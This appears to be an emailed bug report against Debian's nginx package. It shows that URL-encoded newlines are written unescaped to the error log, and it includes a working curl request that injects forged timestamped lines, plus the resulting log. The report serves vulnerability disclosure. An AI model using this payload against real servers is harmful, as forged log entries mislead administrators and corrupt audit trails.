<div dir="ltr"><div>Package: nginx</div><div>Version: 1.26.3-3+deb13u7<br><br></div><div>When using the error_log directive, a newline character in the URL (%0a) is logged directly, without escaping. </div><div>As a result, it is possible to inject false entries into the server log.</div><div><br></div><div>Example configuration:<br>server {<br>  server_name example;<br>  access_log      /var/log/nginx/example.log;<br>  error_log       /var/log/nginx/example.err;<br>}<br><br></div><div>Request:</div><div>curl '<a href="http://example/%0a2026/07/30%2013:66:66%20oops%0a2026/07/30%2013:66:66%20">http://example/%0a2026/07/30%2013:66:66%20oops%0a2026/07/30%2013:66:66%20</a>'</div><div><br></div><div>Log:</div><div>2026/07/30 11:38:57 [error] 7608#7608: *58 open() "/usr/share/nginx/html/<br>2026/07/30 13:66:66 oops<br>2026/07/30 13:66:66 " failed (2: No such file or directory), client: 127.0.0.1, server: example, request: "GET /%0a2026/07/30%2013:66:66%20oops%0a2026/07/30%2013:66:66%20 HTTP/1.1", host: "example"</div><div><br></div><div><br></div><div><br></div><div dir="ltr" class="gmail_signature" data-smartmail="gmail_signature"><div dir="ltr"><div><div dir="ltr">Pozdrawiam/Regards,<div>Andrzej Borsuk</div></div></div></div></div></div>